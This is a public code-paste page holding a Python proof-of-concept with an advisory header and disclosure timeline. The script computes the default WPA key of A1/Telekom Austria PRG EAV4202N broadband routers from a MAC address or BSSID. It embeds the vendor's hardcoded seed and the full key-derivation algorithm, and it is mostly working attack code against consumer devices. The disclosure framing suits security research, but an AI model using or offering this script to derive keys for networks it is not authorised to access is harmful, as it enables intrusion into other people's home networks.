fork download 
  1. '''
  2. title:          A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness
  3. product names:  PRG EAV4202N, PRGAV4202N, PRG 4202 N, P.RG AV4202N
  4. device class:   802.11n DSL broadband gateway
  5. vulnerable:     S/N PI101120401*
  6. not vulnerable: S/N PI105220402* (?)
  7. impact:         critical
  8.  
  9. product notes:
  10. This device is manufactured by ADB Broadband (formerly Pirelli Broadband) and is rebranded for
  11. A1 (formerly Telekom Austria). A Wi-Fi AP is enabled by default and can be accessed with the
  12. default WPA-key printed on the back of the device.
  13.  
  14. vulnerability description:
  15. The algorithm for the default WPA-key is entirely based on the internal MAC address (rg_mac).
  16. rg_mac can either be derived from BSSID and SSID (if not changed) or BSSID alone.
  17.  
  18. timeline:
  19. 2010-11-20 working exploit
  20. 2010-12-04 informed Telekom Austria
  21. 2010-12-06 TA requests exploit code
  22. 2010-12-07 PoC sent
  23. 2010-12-09 TA starts analysis with ADB Broadband
  24. 2010-12-17 analysis finished
  25. 2010-12-20 vulnerability confirmed, will be fixed in next hardware(!) revision
  26. ...
  27. 2011-03-10 TA discloses vulnerability to press
  28. 2011-03-10 TA confirms that they will not inform affected customers directly
  29. 2011-12-04 grace period over
  30.  
  31. references:
  32. http://b...content-available-to-author-only...l.com/medias/images/products/prg_av4202n/data_sheet_p_rg_av4202n.pdf
  33. http://f...content-available-to-author-only...e.at/produkte/2165-massives-sicherheitsproblem-bei-telekom-modems.php
  34. http://h...content-available-to-author-only...f.at/stories/1678161/
  35. '''
  36.  
  37. import sys, re, hashlib
  38.  
  39. def gen_key(mac):
  40.     seed = ('\x54\x45\x4F\x74\x65\x6C\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + 
  41.             '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x94\x3F\xDC\xE8')
  42.     lookup = '0123456789ABCDEFGHIKJLMNOPQRSTUVWXYZabcdefghikjlmnopqrstuvwxyz'
  43.  
  44.     h = hashlib.sha256()
  45.     h.update(seed)
  46.     h.update(mac)
  47.     digest = bytearray(h.digest())
  48.     return ''.join([lookup[x % len(lookup)] for x in digest[0:12]])
  49.  
  50. def main():
  51.     print '*********************************************************************'
  52.     print ' A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness'
  53.     print '                 Stefan Viehboeck <@sviehb> 11.2010'
  54.     print '*********************************************************************'
  55.  
  56.     if len(sys.argv) != 2:
  57.         sys.exit('usage: pirelli_wpa.py [RG_MAC] or [BSSID]\n eg. pirelli_wpa.py 38229D112233\n')
  58.  
  59.     mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
  60.     if len(mac_str) != 12:
  61.         sys.exit('check MAC format!\n')
  62.  
  63.     mac = bytearray.fromhex(mac_str)
  64.     print 'based on rg_mac:\nSSID: PBS-%02X%02X%02X' % (mac[3], mac[4], mac[5])
  65.     print 'WPA key: %s\n' % (gen_key(mac))
  66.  
  67.     mac[5] -= 5
  68.     print 'based on BSSID:\nSSID: PBS-%02X%02X%02X' % (mac[3], mac[4], mac[5])
  69.     print 'WPA key: %s\n' % (gen_key(mac))
  70.  
  71. if __name__ == "__main__":
  72.     main()
Runtime error #stdin #stdout 0.02s 5852KB
comments (?)
stdin 
Standard input is empty
stdout 
Standard output is empty
https://ideone.com/mn2N8
language:
Python 3 (python  3.12)
created:
14 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!